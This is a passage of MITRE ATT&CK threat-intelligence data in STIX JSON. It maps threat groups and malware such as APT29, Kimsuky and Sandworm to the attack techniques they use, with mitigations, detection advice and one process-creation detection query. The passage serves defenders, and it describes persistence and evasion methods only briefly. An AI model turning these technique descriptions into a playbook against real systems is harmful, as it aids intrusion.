Tap)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df4bb33c-a98d-4c02-a160-ce3cfd36f291","created":"2022-09-30T19:38:18.685Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T19:39:00.268Z","description":"[Misdat](https://attack.mitre.org/software/S0083) was typically packed using UPX.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df4d5d3b-67b7-4af5-adb3-ee83b5f44c5b","created":"2024-03-28T15:43:16.766Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:16:02.315Z","description":"During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) modified and added entries within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options to maintain persistence.(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca","target_ref":"attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df520c15-50fc-46cf-8559-368e88072aa7","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Bankshot Dec 2017","description":"US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"}],"modified":"2020-02-18T03:40:29.877Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) deletes all artifacts associated with the malware from the infected machine.(Citation: US-CERT Bankshot Dec 2017)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df529a76-525d-4a35-a9d2-48ec41f71459","type":"relationship","created":"2021-10-06T19:20:11.784Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-13T17:39:09.108Z","description":"Use multi-factor authentication on remote service logons where possible.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df52b929-6b31-48da-a21f-70b799e730d3","type":"relationship","created":"2020-03-09T13:17:39.429Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/library/security/4053440","description":"Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.","source_name":"Microsoft DDE Advisory Nov 2017"},{"url":"https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/","description":"Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.","source_name":"BleepingComputer DDE Disabled in Word Dec 2017"},{"url":"https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b","description":"Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.","source_name":"GitHub Disable DDEAUTO Oct 2017"},{"url":"https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021","description":"Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.","source_name":"Microsoft ADV170021 Dec 2017"}],"modified":"2022-02-22T13:22:30.451Z","description":"Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017)(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel.(Citation: Microsoft ADV170021 Dec 2017)","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df59e897-15ee-451c-8d6f-9d125e9c127d","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T15:20:21.922Z","description":"Monitor for newly executed processes that may abuse the Windows service control manager to execute malicious commands or payloads.\n\nEvents 4688 (Microsoft Windows Security Auditing) and 1 (Microsoft Windows Sysmon) provide context of Windows processes creation that can be used to implement this detection.\n\nThis detection is based on uncommon process and parent process relationships. Service Control Manager spawning command shell is a good starting point. Add more suspicious relationships based on the reality of your network environment.\n\nIn order to reduce false positives, you can also filter the CommandLine event field using parameters such as /c which carries out the command specified by the parent process.\n\nAnalytic 1 - Service Execution\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") | WHERE Image LIKE \"*services.exe\" AND Image LIKE \"*cmd.exe\"","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df5bee66-b840-405e-b9d5-2e0ced2e6808","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"AlienVault Sykipot 2011","description":"Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.","url":"https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies"}],"modified":"2020-03-16T19:10:49.075Z","description":"[Sykipot](https://attack.mitre.org/software/S0018) injects itself into running instances of outlook.exe, iexplore.exe, or firefox.exe.(Citation: AlienVault Sykipot 2011)","relationship_type":"uses","source_ref":"malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df5d8477-81dd-482b-a435-749a68727c49","created":"2022-03-15T19:56:31.115Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.417Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has searched for vulnerabilities, tools, and geopolitical trends on Google to target victims.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df5db6d7-a072-4d04-a638-843ac66234ef","created":"2024-03-12T18:34:54.477Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:44:06.427Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors used a Base64-encoded Python script to write a patched version of the Ivanti Connect Secure `dsls` binary.(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df69c29c-01c4-4541-988e-8a5765439d56","type":"relationship","created":"2017-05-31T21:33:27.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Poseidon Group","description":"Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.","url":"https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"}],"modified":"2020-03-18T15:34:54.767Z","description":"[Poseidon Group](https://attack.mitre.org/groups/G0033) tools attempt to spoof anti-virus processes as a means of self-defense.(Citation: Kaspersky Poseidon Group)","relationship_type":"uses","source_ref":"intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df6b68c8-17b5-45b9-8ad1-908c89074531","created":"2023-07-28T17:57:04.398Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-05T14:43:14.444Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has replaced legitimate KeePass binaries with trojanized versions to collect passwords from numerous applications.(Citation: Mandiant FIN13 Aug 2022) ","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--df6bb7e8-1971-4e8c-92cc-16727ac996dd","created":"2022-06-15T14:58:57.309Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-15T14:58:57.309Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df6c39fa-9d95-45ee-911b-0ca2fc167086","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Tick Apr 2016","description":"DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.","url":"https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"}],"modified":"2020-03-30T02:04:22.452Z","description":"[Daserf](https://attack.mitre.org/software/S0187) hides collected data in password-protected .rar archives.(Citation: Symantec Tick Apr 2016)","relationship_type":"uses","source_ref":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df6ec6c4-6ae9-4f54-a0fb-0937f5a3bf01","created":"2023-08-17T17:07:35.134Z","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-17T17:07:35.134Z","description":"(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--4816d361-f82b-4a18-aa05-b215e7cf9200","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--df7d078e-48a9-4e3e-8dd5-389ca66575e9","created":"2022-03-30T14:26:51.833Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed services/daemons through Windows event logs for event IDs 4697 and 7045. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as remote logins or process creation events.","modified":"2022-08-08T14:26:18.764Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705","target_ref":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--df7d9316-0cf4-4f20-9169-f4952478cc60","created":"2021-11-12T21:12:02.332Z","x_mitre_version":"1.0","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"The [Clambling](https://attack.mitre.org/software/S0660) dropper can use PowerShell to download the malware.(Citation: Trend Micro DRBControl February 2020)","modified":"2022-04-15T14:08:28.395Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df7e5314-665b-44a3-8040-f6cb8fd28cbf","type":"relationship","created":"2020-05-21T14:55:00.329Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T14:55:00.329Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has tested if the localhost network is available and other connection capability on an infected system using command scripts.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df7fb8f2-e7a6-4342-8d67-09655ceefead","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shell Crew Feb 2017","description":"Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV’s Radar. Retrieved February 15, 2017.","url":"https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"}],"modified":"2020-03-19T22:02:48.994Z","description":"[StreamEx](https://attack.mitre.org/software/S0142) has the ability to scan for security tools such as firewalls and antivirus tools.(Citation: Cylance Shell Crew Feb 2017)","relationship_type":"uses","source_ref":"malware--91000a8a-58cc-4aba-9ad0-993ad6302b86","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df82dc71-a168-4af3-9526-8449400777dc","type":"relationship","created":"2020-03-11T14:43:31.827Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-31T13:11:35.048Z","description":"Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df8350d6-a7a7-421d-a9e8-64d7e0cc0653","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 2017"}],"modified":"2019-07-14T21:15:55.075Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used WinRM to enable remote execution.(Citation: SecureWorks BRONZE UNION June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df891390-43d8-4201-aebc-51c20cae5897","created":"2023-03-26T20:12:26.779Z","revoked":false,"external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:12:26.779Z","description":"[Sibot](https://attack.mitre.org/software/S0589) has installed a second-stage script in the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\sibot registry key.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df898edd-0829-4222-b50b-e7cbf75a0fb4","type":"relationship","created":"2020-12-23T19:17:53.351Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-23T19:17:53.351Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used sticky keys to launch a command prompt.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df8d65b3-99f9-42fb-a6d6-09e0c3a00e08","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df940d86-6586-429f-ae57-fe99da9e8edb","created":"2022-10-04T20:28:03.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T20:37:50.618Z","description":"For [C0010](https://attack.mitre.org/campaigns/C0010), UNC3890 actors obtained multiple publicly-available tools, including METASPLOIT, UNICORN, and NorthStar C2.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"campaign--ab747e62-1bcb-479f-a26b-1cd39d413d81","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df98db39-fdfd-463c-96b3-e9a8b049f316","type":"relationship","created":"2020-06-10T21:56:40.022Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Telebots Dec 2016","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."},{"source_name":"ESET Telebots July 2017","url":"https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/","description":"Cherepanov, A.. (2017, July 4). Analysis of TeleBots’ cunning backdoor . Retrieved June 11, 2020."}],"modified":"2020-06-11T16:28:58.431Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034)'s VBS backdoor can decode Base64-encoded data and save it to the %TEMP% folder. The group also decrypted received information using the Triple DES algorithm and decompresses it using GZip.(Citation: ESET Telebots Dec 2016)(Citation: ESET Telebots July 2017)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--df9a9828-dff0-41a1-a93d-d410fb2ee3b9","created":"2024-03-01T20:55:21.199Z","revoked":false,"external_references":[{"source_name":"NCSC et al APT29 2024","description":"UK National Cyber Security Center et al. (2024, February). SVR cyber actors adapt tactics for initial cloud access. Retrieved March 1, 2024.","url":"https://www.ic3.gov/Media/News/2024/240226.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T20:55:21.199Z","description":"[APT29](https://attack.mitre.org/groups/G0016) targets dormant or inactive user accounts, accounts belonging to individuals no longer at the organization but whose accounts remain on the system, for access and persistence.(Citation: NCSC et al APT29 